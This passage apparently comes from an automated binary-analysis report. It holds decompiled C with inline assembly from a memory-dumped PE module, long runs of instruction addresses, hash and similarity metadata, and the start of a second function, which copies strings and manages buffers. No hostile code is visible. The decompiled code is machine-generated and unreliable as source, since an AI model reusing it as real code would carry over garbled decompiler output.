													_t510 = _v32;
													_t340 = _v28;
													goto L74;
												}
												_v24 = _t546;
												_t510 = _v32;
												_t341 = _v28;
												goto L166;
												L74:
												_v28 = _t340;
												_t418 =  ~( ~_t587 + 0x00000007 & 0x00000007) + 0x7fffffff;
												__eflags = _t418;
												_t556 = _v24;
												while(1) {
													asm("movdqu xmm1, [edi+esi*2]");
													asm("pcmpeqw xmm1, xmm0");
													asm("pmovmskb eax, xmm1");
													__eflags = _t340;
													if(_t340 != 0) {
														break;
													}
													_t587 = _t587 + 8;
													__eflags = _t587 - _t418;
													if(_t587 < _t418) {
														continue;
													}
													_v24 = _t556;
													_t341 = _v28;
													__eflags = _t418 - 0x7fffffff;
													if(_t418 >= 0x7fffffff) {
														goto L82;
													}
													goto L78;
												}
												asm("bsf ebx, ebx");
												_v24 = _t556;
												_t421 = (_t340 >> 1) + _t587;
												_t341 = _v28;
												goto L166;
											}
										}
										goto L39;
									}
									_t395 =  *_t498 & 0x0000ffff;
									 *_t552 = _t395;
									__eflags = _t395;
									if(_t395 == 0) {
										goto L33;
									}
									_t396 = 0;
									__eflags = 0;
									while(1) {
										_t396 = _t396 + 1;
										_t488 =  *(_t498 + _t396 * 4 - 2) & 0x0000ffff;
										 *(_t552 + _t396 * 4 - 2) = _t488;
										__eflags = _t488;
										if(_t488 == 0) {
											goto L33;
										}
										_t489 =  *(_t498 + _t396 * 4) & 0x0000ffff;
										 *(_t552 + _t396 * 4) = _t489;
										__eflags = _t489;
										if(_t489 != 0) {
											continue;
										}
										goto L33;
									}
									goto L33;
								}
							}
							_t552 = _v64;
							goto L36;
						}
						_t398 = _t551 & 0x0000000f;
						__eflags = _t398;
						if(_t398 == 0) {
							L16:
							asm("pxor xmm0, xmm0");
							_t609 =  ~( ~_t398 + 0x00000007 & 0x00000007) + 0x7fffffff;
							__eflags = _t609;
							while(1) {
								asm("movdqu xmm1, [edi+eax*2]");
								asm("pcmpeqw xmm1, xmm0");
								asm("pmovmskb edx, xmm1");
								__eflags = _t492;
								if(_t492 != 0) {
									break;
								}
								_t398 = _t398 + 8;
								__eflags = _t398 - _t609;
								if(_t398 < _t609) {
									continue;
								}
								__eflags = _t609 - 0x7fffffff;
								if(_t609 >= 0x7fffffff) {
									L22:
									_t459 = 0x40;
									_t581 = 0x7fffffff;
									goto L23;
								} else {
									goto L20;
								}
								while(1) {
									L20:
									__eflags =  *(_t551 + _t609 * 2) & 0x0000ffff;
									if(( *(_t551 + _t609 * 2) & 0x0000ffff) == 0) {
										break;
									}
									_t609 = _t609 + 1;
									__eflags = _t609 - 0x7fffffff;
									if(_t609 < 0x7fffffff) {
										continue;
									}
									goto L22;
								}
								L62:
								__eflags = _t581 - 0xfffffffe;
								if(_t581 != 0xfffffffe) {
									_t459 = 0x40;
								} else {
									 *_t551 = 0;
									_t459 = _v60;
								}
								goto L23;
							}
							asm("bsf esi, edx");
							_t581 = (_t609 >> 1) + _t398;
							goto L62;
						}
						_t609 = 0;
						__eflags = _t398 & 0x00000001;
						if((_t398 & 0x00000001) != 0) {
							goto L20;
						}
						_t398 =  ~_t398 + 0x10 >> 1;
						__eflags = _t398;
						while(1) {
							_t492 =  *(_t551 + _t609 * 2) & 0x0000ffff;
							__eflags = _t492;
							if(_t492 == 0) {
								goto L62;
							}
							_t609 = _t609 + 1;
							__eflags = _t609 - _t398;
							if(_t609 < _t398) {
								continue;
							}
							goto L16;
						}
						goto L62;
					}
					_t319 =  &_v64;
					goto L37;
				}
				if(_t551 == 0) {
					L6:
					_push(2);
					_push(_t304);
					E6E6610B0();
					_t614 =  &(_t614[2]);
					goto L8;
				}
				_t492 =  *_t304 & 0x0000ffff;
				 *_t551 = _t492;
				if(_t492 == 0) {
					goto L6;
				}
				while(1) {
					_t492 = 1;
					_t490 = _t304[1] & 0x0000ffff;
					 *(_t551 + 2) = _t490;
					if(_t490 == 0) {
						goto L6;
					}
					_t491 = _t304[2] & 0x0000ffff;
					 *(_t551 + 4) = _t491;
					if(_t491 != 0) {
						continue;
					}
					goto L6;
				}
				goto L6;
			}

0x6e66c59e
0x6e66c5a2
0x6e66c5a4
0x6e66c5a8
0x6e66c5b2
0x6e66c5b4
0x6e66c5b7
0x6e66c5bd
0x6e66c5f7
0x6e66c5f9
0x6e66c5fc
0x6e66c600
0x6e66c608
0x6e66c60e
0x6e66c619
0x6e66c61b
0x6e66d019
0x6e66d01e
0x6e66c69f
0x6e66c6a4
0x6e66c6a4
0x6e66c6a7
0x6e66c6aa
0x6e66c6ad
0x6e66c6af
0x6e66c6c4
0x6e66c6c7
0x6e66c6c7
0x6e66c6cd
0x6e66c6d5
0x6e66c6d5
0x6e66c6d5
0x6e66c6d6
0x6e66c6e0
0x6e66c6ea
0x6e66c6ed
0x6e66c6f3
0x6e66c6f5
0x6e66c6f8
0x6e66c6fc
0x6e66c6fe
0x6e66c738
0x6e66c73a
0x00000000
0x6e66c700
0x6e66c700
0x6e66c702
0x6e66c72b
0x6e66c72b
0x6e66c72d
0x6e66c72e
0x6e66c733
0x6e66c73d
0x6e66c740
0x6e66c744
0x6e66c748
0x6e66c74c
0x6e66c74e
0x6e66c752
0x6e66c758
0x6e66c75d
0x6e66c75d
0x6e66c761
0x6e66c76a
0x6e66c76a
0x6e66c76f
0x6e66c774
0x6e66c776
0x6e66c77e
0x6e66c780
0x6e66c786
0x6e66c78a
0x6e66c7c9
0x6e66c878
0x6e66c878
0x6e66c87b
0x6e66c87d
0x6e66c884
0x6e66c884
0x6e66c886
0x6e66c88a
0x6e66c894
0x6e66c898
0x6e66c8a8
0x6e66c8a8
0x6e66c78e
0x6e66c7b7
0x6e66c7b7
0x6e66c7b9
0x6e66c7ba
0x6e66c7bf
0x00000000
0x6e66c7bf
0x6e66c790
0x6e66c793
0x6e66c798
0x00000000
0x00000000
0x6e66c79a
0x6e66c79c
0x6e66c79c
0x6e66c79d
0x6e66c7a2
0x6e66c7a9
0x00000000
0x00000000
0x6e66c7ab
0x6e66c7af
0x6e66c7b5
0x00000000
0x00000000
0x00000000
0x6e66c7b5
0x00000000
0x6e66c79c
0x6e66c763
0x6e66c768
0x6e66c7d1
0x6e66c7d3
0x6e66c7d5
0x6e66c819
0x6e66c819
0x6e66c81e
0x6e66c823
0x6e66c825
0x6e66c82d
0x6e66c82f
0x6e66c835
0x6e66c837
0x6e66c839
0x6e66c873
0x6e66c875
0x00000000
0x6e66c875
0x6e66c83b
0x6e66c83d
0x6e66c866
0x6e66c866
0x6e66c868
0x6e66c869
0x6e66c86e
0x00000000
0x6e66c86e
0x6e66c83f
0x6e66c842
0x6e66c845
0x6e66c847
0x00000000
0x00000000
0x6e66c849
0x6e66c849
0x6e66c84b
0x6e66c84b
0x6e66c84c
0x6e66c851
0x6e66c856
0x6e66c858
0x00000000
0x00000000
0x6e66c85a
0x6e66c85e
0x6e66c862
0x6e66c864
0x00000000
0x00000000
0x00000000
0x6e66c864
0x00000000
0x6e66c84b
0x6e66c7da
0x6e66c7dc
0x00000000
0x00000000
0x6e66c7de
0x6e66c7e5
0x6e66c7eb
0x6e66c7ee
0x6e66c7ee
0x6e66c7f0
0x6e66c7f3
0x6e66c7f7
0x6e66c7f7
0x6e66c7fb
0x6e66c7fe
0x6e66c801
0x6e66c804
0x6e66c807
0x6e66c80a
0x00000000
0x00000000
0x6e66c810
0x6e66c815
0x6e66c817
0x00000000
0x00000000
0x00000000
0x6e66c817
0x6e66c8c8
0x6e66c8cc
0x6e66c8cf
0x6e66c8d1
0x00000000
0x00000000
0x6e66c8d9
0x6e66c8dc
0x6e66c8e6
0x6e66c8ec
0x6e66c8ee
0x6e66c8f2
0x6e66c8f6
0x6e66c8fa
0x6e66c90a
0x6e66c90a
0x6e66c90a
0x6e66c90c
0x6e66c90e
0x00000000
0x00000000
0x6e66c910
0x6e66c912
0x6e66c914
0x6e66c98b
0x6e66c98b
0x6e66c98f
0x6e66c993
0x6e66c997
0x6e66c999
0x00000000
0x00000000
0x6e66c99f
0x6e66c9a0
0x6e66c9a6
0x00000000
0x00000000
0x6e66c9a8
0x6e66c9ac
0x6e66c9b0
0x6e66c9b0
0x6e66c9b5
0x6e66c9b5
0x6e66c9b8
0x6e66c9b8
0x6e66c9ba
0x6e66c9be
0x6e66c9c2
0x6e66c9c2
0x6e66c9ca
0x6e66c9cd
0x6e66c9d1
0x6e66c9d4
0x6e66c9d7
0x6e66c9da
0x6e66c9e0
0x6e66c9e6
0x6e66c9e9
0x6e66c9ec
0x00000000
0x00000000
0x6e66c9f8
0x6e66c9fa
0x6e66ca02
0x6e66ca02
0x6e66ca06
0x6e66ca0a
0x6e66ca0e
0x6e66ca12
0x6e66ca12
0x6e66ca14
0x00000000
0x00000000
0x6e66ca1a
0x6e66ca1e
0x6e66ca22
0x6e66ca26
0x6e66ca26
0x6e66ca28
0x6e66ca28
0x6e66ca2a
0x6e66ca2c
0x6e66ca2c
0x6e66ca2f
0x00000000
0x00000000
0x6e66ca39
0x6e66ca3b
0x00000000
0x00000000
0x6e66ca41
0x6e66ca44
0x6e66ca46
0x6e66ca4a
0x6e66ca4a
0x6e66ca50
0x6e66ca53
0x6e66ca59
0x6e66ca5c
0x6e66ca67
0x6e66ca6a
0x6e66ca6d
0x00000000
0x00000000
0x6e66ca77
0x6e66ca79
0x00000000
0x00000000
0x6e66ca7b
0x6e66ca7b
0x6e66ca7f
0x6e66ca83
0x6e66ca87
0x6e66ca8b
0x6e66ca8b
0x6e66ca8d
0x6e66caa8
0x6e66cab4
0x6e66cab4
0x6e66caba
0x6e66caba
0x6e66cabf
0x6e66cac3
0x6e66cac7
0x6e66cac9
0x00000000
0x00000000
0x6e66cacf
0x6e66cad2
0x6e66cad4
0x00000000
0x00000000
0x6e66cad6
0x6e66cadc
0x6e66caef
0x6e66caef
0x6e66caf4
0x6e66caf6
0x6e66caf6
0x6e66caf9
0x6e66cb15
0x6e66cb21
0x6e66cb21
0x6e66cb27
0x6e66cb27
0x6e66cb2c
0x6e66cb30
0x6e66cb34
0x6e66cb36
0x00000000
0x00000000
0x6e66cb3c
0x6e66cb3f
0x6e66cb41
0x00000000
0x00000000
0x6e66cb43
0x6e66cb49
0x6e66cb5c
0x6e66cb5c
0x6e66cb61
0x6e66cb66
0x6e66cb6e
0x6e66cb70
0x6e66cb72
0x6e66cb74
0x6e66cb77
0x6e66cb79
0x6e66cb7c
0x6e66cb7f
0x6e66cb81
0x6e66cb84
0x6e66cb86
0x6e66ccdc
0x6e66ccdc
0x6e66cce6
0x6e66cce8
0x6e66ccee
0x6e66ccf0
0x6e66ccf2
0x6e66cd31
0x00000000
0x6e66cd31
0x6e66ccf4
0x6e66ccf6
0x6e66cd1f
0x6e66cd1f
0x6e66cd21
0x6e66cd22
0x6e66cd27
0x00000000
0x6e66cd27
0x6e66ccf8
0x6e66ccfb
0x6e66ccfe
0x6e66cd00
0x00000000
0x00000000
0x6e66cd02
0x6e66cd02
0x6e66cd04
0x6e66cd04
0x6e66cd05
0x6e66cd0a
0x6e66cd0f
0x6e66cd11
0x00000000
0x00000000
0x6e66cd13
0x6e66cd17
0x6e66cd1b
0x6e66cd1d
0x00000000
0x00000000
0x00000000
0x6e66cd1d
0x00000000
0x6e66cd04
0x6e66cb8c
0x6e66cb8f
0x6e66cb91
0x00000000
0x00000000
0x6e66cb97
0x6e66cb99
0x6e66cc09
0x6e66cc0e
0x6e66cc0e
0x6e66cc11
0x6e66cc14
0x6e66cc17
0x6e66cc19
0x6e66cc2c
0x6e66cc2f
0x6e66cc2f
0x6e66cc35
0x6e66cc3d
0x6e66cc3d
0x6e66cc3d
0x6e66cc3e
0x6e66cc48
0x6e66cc52
0x6e66cc55
0x6e66cc5b
0x6e66cc5d
0x6e66cc63
0x6e66cc65
0x6e66cc67
0x6e66cca1
0x6e66cca3
0x00000000
0x6e66cc69
0x6e66cc69
0x6e66cc6b
0x6e66cc94
0x6e66cc94
0x6e66cc96
0x6e66cc97
0x6e66cc9c
0x6e66cca6
0x6e66cca6
0x6e66ccac
0x6e66ccaf
0x6e66ccb1
0x6e66ccb1
0x6e66ccb3
0x00000000
0x00000000
0x6e66ccb9
0x6e66ccc3
0x6e66ccc3
0x6e66ccc6
0x6e66ccc7
0x6e66ccca
0x6e66cccc
0x00000000
0x00000000
0x6e66ccce
0x6e66ccd0
0x6e66cd3b
0x00000000
0x6e66cd3b
0x6e66ccd2
0x6e66ccd2
0x6e66ccd4
0x00000000
0x00000000
0x6e66ccbd
0x6e66ccc0
0x6e66ccc0
0x6e66ccc0
0x6e66ccc3
0x6e66cc6d
0x6e66cc70
0x6e66cc73
0x6e66cc75
0x00000000
0x00000000
0x6e66cc77
0x6e66cc77
0x6e66cc79
0x6e66cc79
0x6e66cc7a
0x6e66cc7f
0x6e66cc84
0x6e66cc86
0x00000000
0x00000000
0x6e66cc88
0x6e66cc8c
0x6e66cc90
0x6e66cc92
0x00000000
0x00000000
0x00000000
0x6e66cc92
0x00000000
0x6e66cc79
0x6e66cc67
0x6e66cc1b
0x00000000
0x6e66cc1b
0x6e66cb9d
0x6e66cb9d
0x6e66cba0
0x6e66cbbd
0x6e66cbc9
0x6e66cbc9
0x6e66cbcf
0x6e66cbcf
0x6e66cbd4
0x6e66cbd8
0x6e66cbdc
0x6e66cbde
0x00000000
0x00000000
0x6e66cbe4
0x6e66cbe7
0x6e66cbe9
0x00000000
0x00000000
0x6e66cbeb
0x6e66cbf1
0x6e66cc04
0x6e66cc04
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66cbf3
0x6e66cbf3
0x6e66cbf7
0x6e66cbf9
0x00000000
0x00000000
0x6e66cbfb
0x6e66cbfc
0x6e66cc02
0x00000000
0x00000000
0x00000000
0x6e66cc02
0x00000000
0x6e66cbf3
0x6e66cd6b
0x6e66cd70
0x00000000
0x6e66cd70
0x6e66cba2
0x6e66cba4
0x6e66cba7
0x00000000
0x00000000
0x6e66cbae
0x6e66cbae
0x6e66cbb0
0x6e66cbb0
0x6e66cbb4
0x6e66cbb6
0x00000000
0x00000000
0x6e66cbb8
0x6e66cbb9
0x6e66cbbb
0x00000000
0x00000000
0x00000000
0x6e66cbbb
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66cb4b
0x6e66cb4b
0x6e66cb4f
0x6e66cb51
0x00000000
0x00000000
0x6e66cb53
0x6e66cb54
0x6e66cb5a
0x00000000
0x00000000
0x00000000
0x6e66cb5a
0x00000000
0x6e66cb4b
0x6e66cd77
0x6e66cd7c
0x00000000
0x6e66cd7c
0x6e66cafb
0x6e66cafd
0x6e66caff
0x00000000
0x00000000
0x6e66cb06
0x6e66cb06
0x6e66cb08
0x6e66cb08
0x6e66cb0c
0x6e66cb0e
0x00000000
0x00000000
0x6e66cb10
0x6e66cb11
0x6e66cb13
0x00000000
0x00000000
0x00000000
0x6e66cb13
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66cade
0x6e66cade
0x6e66cae2
0x6e66cae4
0x00000000
0x00000000
0x6e66cae6
0x6e66cae7
0x6e66caed
0x00000000
0x00000000
0x00000000
0x6e66caed
0x00000000
0x6e66cade
0x6e66cd83
0x6e66cd88
0x00000000
0x6e66cd88
0x6e66ca8f
0x6e66ca91
0x6e66ca93
0x00000000
0x00000000
0x6e66ca95
0x6e66ca99
0x6e66ca9b
0x6e66ca9b
0x6e66ca9f
0x6e66caa1
0x00000000
0x00000000
0x6e66caa3
0x6e66caa4
0x6e66caa6
0x00000000
0x00000000
0x00000000
0x6e66caa6
0x00000000
0x6e66ca9b
0x6e66cd8f
0x6e66cd93
0x6e66cd97
0x6e66cd9b
0x6e66cdad
0x6e66cdad
0x6e66cdaf
0x6e66cdb1
0x00000000
0x00000000
0x6e66cdb3
0x6e66cdb3
0x6e66cdb5
0x6e66cdb7
0x6e66ce2e
0x6e66ce2e
0x6e66ce32
0x6e66ce36
0x6e66ce3a
0x6e66ce3c
0x00000000
0x00000000
0x6e66ce42
0x6e66ce43
0x6e66ce49
0x00000000
0x00000000
0x6e66ce4b
0x6e66ce4f
0x6e66ce53
0x6e66ce53
0x6e66ce58
0x6e66ce58
0x6e66ce5c
0x6e66ce5c
0x6e66ce5e
0x6e66ce62
0x6e66ce66
0x6e66ce66
0x6e66ce6e
0x6e66ce71
0x6e66ce75
0x6e66ce78
0x6e66ce7b
0x6e66ce7e
0x6e66ce84
0x6e66ce8a
0x6e66ce8d
0x6e66ce90
0x00000000
0x00000000
0x6e66ce94
0x6e66ce96
0x6e66cea2
0x6e66cea2
0x6e66cea5
0x6e66cea5
0x6e66cea7
0x6e66ceab
0x6e66ceab
0x6e66cead
0x00000000
0x00000000
0x00000000
0x6e66cead
0x6e66ce98
0x6e66ce99
0x6e66ce9d
0x00000000
0x00000000
0x00000000
0x6e66ce9d
0x6e66ceec
0x6e66cef4
0x6e66cefa
0x6e66cefa
0x6e66cefd
0x6e66cf4b
0x6e66cf4b
0x6e66cf4f
0x00000000
0x6e66cf4f
0x6e66cf03
0x6e66cf05
0x00000000
0x00000000
0x6e66cf07
0x6e66cf0b
0x6e66cf0b
0x6e66cf0d
0x6e66cf11
0x6e66cf15
0x6e66cf15
0x6e66cf1f
0x6e66cf22
0x6e66cf28
0x6e66cf32
0x6e66cf35
0x6e66cf38
0x00000000
0x00000000
0x6e66cf42
0x6e66cf44
0x00000000
0x00000000
0x00000000
0x6e66cf46
0x6e66cda1
0x6e66cda5
0x6e66cda9
0x6e66cdad
0x6e66cdaf
0x6e66cdb1
0x00000000
0x00000000
0x00000000
0x6e66cdb1
0x6e66cf58
0x6e66cf5c
0x6e66ced3
0x6e66ced3
0x6e66ced5
0x00000000
0x00000000
0x6e66cedb
0x00000000
0x00000000
0x6e66cee1
0x6e66cee5
0x6e66cee7
0x00000000
0x6e66cee7
0x6e66cdb9
0x6e66cdbd
0x6e66cdbf
0x6e66cdc3
0x6e66cdc7
0x6e66cdcb
0x6e66cdcd
0x00000000
0x00000000
0x6e66cdd3
0x6e66cdd4
0x6e66cdd6
0x00000000
0x00000000
0x6e66cdd8
0x6e66cddc
0x6e66cde0
0x00000000
0x6e66cde0
0x6e66cec7
0x6e66cecb
0x6e66cecf
0x00000000
0x6e66cde4
0x6e66cdf0
0x6e66cdf4
0x6e66cdf4
0x6e66cdfa
0x6e66cdfe
0x6e66cdfe
0x6e66ce03
0x6e66ce07
0x6e66ce0b
0x6e66ce0d
0x00000000
0x00000000
0x6e66ce13
0x6e66ce16
0x6e66ce18
0x00000000
0x00000000
0x6e66ce1a
0x6e66ce22
0x6e66ce26
0x6e66ce2c
0x00000000
0x00000000
0x00000000
0x6e66ce2c
0x6e66cf67
0x6e66cf6c
0x6e66cf70
0x6e66cf76
0x00000000
0x6e66cf76
0x6e66cdad
0x6e66ceb3
0x6e66ceb3
0x6e66ceb6
0x6e66ceba
0x6e66cebe
0x00000000
0x6e66cebe
0x6e66c9fc
0x6e66c9fd
0x6e66ca00
0x00000000
0x00000000
0x00000000
0x6e66ca00
0x6e66cf7f
0x6e66cf87
0x6e66cf8d
0x6e66cf8d
0x6e66cf90
0x00000000
0x00000000
0x6e66cf9a
0x6e66cf9c
0x00000000
0x00000000
0x6e66cfa2
0x6e66cfa6
0x6e66cfa6
0x6e66cfa8
0x6e66cfac
0x6e66cfb0
0x6e66cfb0
0x6e66cfba
0x6e66cfbd
0x6e66cfc3
0x6e66cfcd
0x6e66cfd0
0x6e66cfd3
0x00000000
0x00000000
0x6e66cfdd
0x6e66cfdf
0x00000000
0x00000000
0x00000000
0x6e66cfe1
0x6e66c8fe
0x6e66c902
0x6e66c906
0x00000000
0x6e66c906
0x6e66cfe6
0x6e66cfea
0x6e66cd50
0x6e66cd50
0x6e66cd52
0x00000000
0x00000000
0x6e66cd58
0x00000000
0x00000000
0x6e66cd5e
0x6e66cd62
0x00000000
0x6e66cd62
0x6e66c916
0x6e66c91a
0x6e66c91c
0x6e66c920
0x6e66c924
0x6e66c928
0x6e66c92a
0x00000000
0x00000000
0x6e66c930
0x6e66c931
0x6e66c933
0x00000000
0x00000000
0x6e66c935
0x6e66c939
0x6e66c93d
0x00000000
0x6e66c93d
0x6e66cd44
0x6e66cd48
0x6e66cd4c
0x00000000
0x6e66c941
0x6e66c94d
0x6e66c951
0x6e66c951
0x6e66c957
0x6e66c95b
0x6e66c95b
0x6e66c960
0x6e66c964
0x6e66c968
0x6e66c96a
0x00000000
0x00000000
0x6e66c970
0x6e66c973
0x6e66c975
0x00000000
0x00000000
0x6e66c977
0x6e66c97f
0x6e66c983
0x6e66c989
0x00000000
0x00000000
0x00000000
0x6e66c989
0x6e66cff5
0x6e66cffa
0x6e66cffe
0x6e66d004
0x00000000
0x6e66d004
0x6e66c90a
0x00000000
0x6e66c768
0x6e66c704
0x6e66c707
0x6e66c70a
0x6e66c70c
0x00000000
0x00000000
0x6e66c70e
0x6e66c70e
0x6e66c710
0x6e66c710
0x6e66c711
0x6e66c716
0x6e66c71b
0x6e66c71d
0x00000000
0x00000000
0x6e66c71f
0x6e66c723
0x6e66c727
0x6e66c729
0x00000000
0x00000000
0x00000000
0x6e66c729
0x00000000
0x6e66c710
0x6e66c6fe
0x6e66c6b1
0x00000000
0x6e66c6b1
0x6e66c623
0x6e66c623
0x6e66c626
0x6e66c646
0x6e66c64a
0x6e66c656
0x6e66c656
0x6e66c65c
0x6e66c65c
0x6e66c661
0x6e66c665
0x6e66c669
0x6e66c66b
0x00000000
0x00000000
0x6e66c671
0x6e66c674
0x6e66c676
0x00000000
0x00000000
0x6e66c678
0x6e66c67e
0x6e66c695
0x6e66c695
0x6e66c69a
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66c680
0x6e66c680
0x6e66c684
0x6e66c686
0x00000000
0x00000000
0x6e66c68c
0x6e66c68d
0x6e66c693
0x00000000
0x00000000
0x00000000
0x6e66c693
0x6e66c8ab
0x6e66c8ab
0x6e66c8ae
0x6e66c8be
0x6e66c8b0
0x6e66c8b2
0x6e66c8b5
0x6e66c8b5
0x00000000
0x6e66c8ae
0x6e66d00d
0x6e66d012
0x00000000
0x6e66d012
0x6e66c628
0x6e66c62a
0x6e66c62c
0x00000000
0x00000000
0x6e66c633
0x6e66c633
0x6e66c635
0x6e66c635
0x6e66c639
0x6e66c63b
0x00000000
0x00000000
0x6e66c641
0x6e66c642
0x6e66c644
0x00000000
0x00000000
0x00000000
0x6e66c644
0x00000000
0x6e66c635
0x6e66c610
0x00000000
0x6e66c610
0x6e66c5c1
0x6e66c5ea
0x6e66c5ea
0x6e66c5ec
0x6e66c5ed
0x6e66c5f2
0x00000000
0x6e66c5f2
0x6e66c5c3
0x6e66c5c6
0x6e66c5cb
0x00000000
0x00000000
0x6e66c5cf
0x6e66c5cf
0x6e66c5d0
0x6e66c5d5
0x6e66c5dc
0x00000000
0x00000000
0x6e66c5de
0x6e66c5e2
0x6e66c5e8
0x00000000
0x00000000
0x00000000
0x6e66c5e8
0x00000000

Strings

@, xrefs: 6E66C600

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 34e3e757357182d4be67d558aec357958c2c3175704b9db7323992076a550c51
Instruction ID: d864771dc1c28e1838d46cef81021d8718a04d56913c1605edcac989af9f34af
Opcode Fuzzy Hash: 34e3e757357182d4be67d558aec357958c2c3175704b9db7323992076a550c51
Instruction Fuzzy Hash: 1562F875624B138BDB108FAEC49062AB7E1BFC9714F14872DE8A69B394E730D941C783

Uniqueness

Uniqueness Score: -1.00%

Function 6E672E60, Relevance: 2.0, Strings: 1, Instructions: 797
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6E672E60(signed int __ecx, void* __eflags, signed int _a4, char _a8) {
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				char* _t230;
				signed int _t231;
				signed int* _t237;
				char* _t238;
				void* _t245;
				signed int _t246;
				char _t249;
				signed int _t251;
				signed int _t254;
				signed int _t256;
				void* _t257;
				void* _t258;
				signed int _t262;
				signed int _t264;
				signed int _t265;
				signed int _t266;
				signed int _t268;
				char _t271;
				signed int _t273;
				signed int _t279;
				signed int _t280;
				signed int _t283;
				signed int _t284;
				void* _t286;
				void* _t288;
				signed int _t292;
				void* _t295;
				signed int _t298;
				signed int _t299;
				signed int _t300;
				signed int _t301;
				signed int _t302;
				signed int _t308;
				signed int _t310;
				signed int _t311;
				char _t312;
				char _t313;
				char _t314;
				char _t315;
				signed int _t316;
				signed int _t317;
				signed int _t318;
				signed int _t319;
				signed int _t325;
				signed int _t326;
				signed int _t327;
				signed int _t328;
				signed int _t329;
				void* _t330;
				signed int _t331;
				signed int _t332;
				signed int _t335;
				signed int _t336;
				void* _t337;
				signed int _t340;
				void* _t341;
				signed int _t342;
				signed int _t343;
				signed int _t344;
				char* _t347;
				signed int _t350;
				signed int _t352;
				void* _t355;
				signed int _t357;
				char _t359;
				signed int _t362;
				signed int _t363;
				signed int _t365;
				signed int _t366;
				signed int _t367;
				signed int _t368;
				signed int _t369;
				signed int _t379;
				signed int _t380;
				signed int _t381;
				signed int _t382;
				signed int _t383;
				signed int _t384;
				signed int _t386;
				void* _t389;
				signed int _t390;
				char _t392;
				signed int _t395;
				signed int _t400;
				char _t402;
				char _t403;
				char _t404;
				signed int _t406;
				unsigned int _t411;
				signed int _t413;
				signed int _t415;
				signed int _t416;
				signed int _t421;
				signed int _t422;
				signed int _t433;
				signed int _t434;
				signed int _t435;
				signed int _t441;
				signed int _t443;
				signed int _t449;
				signed int _t450;
				signed int _t452;
				signed int _t461;
				signed int _t465;
				signed int _t466;
				signed int _t468;
				signed int _t469;
				signed int _t478;
				signed int _t482;
				void* _t485;

				_v56 = 0;
				_t449 = __ecx;
				_v52 = 0;
				_push(0x40);
				_t406 = E6E661030();
				_t485 = (_t482 & 0xfffffff0) - 0x34 + 4;
				_t230 = _v56;
				if(_t230 == 0) {
					 *_t406 = 0;
					L8:
					_t231 = _a8;
					_v52 = 0x40;
					_v56 = _t406;
					if(_t231 != 0) {
						__eflags = _t406;
						if(_t406 == 0) {
							_t310 = 0x40;
							_t283 = 0;
							L22:
							_t20 = _t283 + 2; // 0x80000001
							_t341 = _t20;
							__eflags = _t341 - 0x40;
							_t342 =  <=  ? 0x40 : _t341;
							__eflags = _t310 - _t342;
							if(_t310 < _t342) {
								_t411 = (_t342 >> 5 >> 0x1a) + _t342 >> 6;
								_t343 = _t342 & 0x8000003f;
								__eflags = _t343;
								if(_t343 < 0) {
									_t343 = (_t343 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t343;
								}
								__eflags = _t343;
								_t413 = _t411 + (0 | _t343 > 0x00000000) << 6;
								_push(_t413);
								_t311 = E6E661030();
								_t485 = _t485 + 4;
								_t344 = _v56;
								__eflags = _t344;
								if(_t344 == 0) {
									 *_t311 = 0;
									goto L35;
								} else {
									__eflags = _t311;
									if(_t311 == 0) {
										L33:
										_push(1);
										_push(_t344);
										_v68 = _t311;
										E6E6610B0();
										_t311 = _v68;
										_t485 = _t485 + 8;
										L35:
										_v52 = _t413;
										_v56 = _t311;
										L36:
										 *((char*)(_t311 + _t283)) = _a8;
										_t237 =  &_v56;
										 *((char*)(_t283 +  *_t237 + 1)) = 0;
										L37:
										_t238 =  *_t237;
										_v28 = _t238;
										_t284 = _a4;
										if(_t238 == 0) {
											L39:
											_push(0x40);
											 *_t284 = 0;
											 *(_t284 + 4) = 0;
											_t450 = E6E661030();
											_t485 = _t485 + 4;
											_t347 =  *_t284;
											if(_t347 == 0) {
												 *_t450 = 0;
												L61:
												 *_t284 = _t450;
												 *(_t284 + 4) = 0x40;
												L62:
												_push(1);
												_push(_v56);
												E6E6610B0();
												_v56 = 0;
												_v52 = 0;
												return _t284;
											}
											if(_t450 == 0) {
												L45:
												_push(1);
												_push(_t347);
												E6E6610B0();
												_t485 = _t485 + 8;
												goto L61;
											}
											_t312 =  *_t347;
											 *_t450 = _t312;
											if(_t312 == 0) {
												goto L45;
											}
											_t415 = 0;
											while(1) {
												_t415 = _t415 + 1;
												_t313 =  *((char*)(_t347 + _t415 * 2 - 1));
												 *((char*)(_t450 + _t415 * 2 - 1)) = _t313;
												if(_t313 == 0) {
													goto L45;
												}
												_t314 =  *((char*)(_t347 + _t415 * 2));
												 *((char*)(_t450 + _t415 * 2)) = _t314;
												if(_t314 != 0) {
													continue;
												}
												goto L45;
											}
											goto L45;
										}
										_t315 =  *_t238;
										_v48 = _t315;
										if(_t315 != 0) {
											_t350 =  *_t449;
											_v60 = _t350;
											__eflags = _t350;
											if(_t350 == 0) {
												L53:
												_push(0x40);
												 *_t284 = 0;
												 *(_t284 + 4) = 0;
												_t450 = E6E661030();
												_t485 = _t485 + 4;
												_t352 =  *_t284;
												__eflags = _t352;
												if(_t352 == 0) {
													 *_t450 = 0;
													goto L61;
												}
												__eflags = _t450;
												if(_t450 == 0) {
													L59:
													_push(1);
													_push(_t352);
													E6E6610B0();
													_t485 = _t485 + 8;
													goto L61;
												}
												_t316 =  *_t352;
												 *_t450 = _t316;
												__eflags = _t316;
												if(_t316 == 0) {
													goto L59;
												}
												_t416 = 0;
												__eflags = 0;
												while(1) {
													_t416 = _t416 + 1;
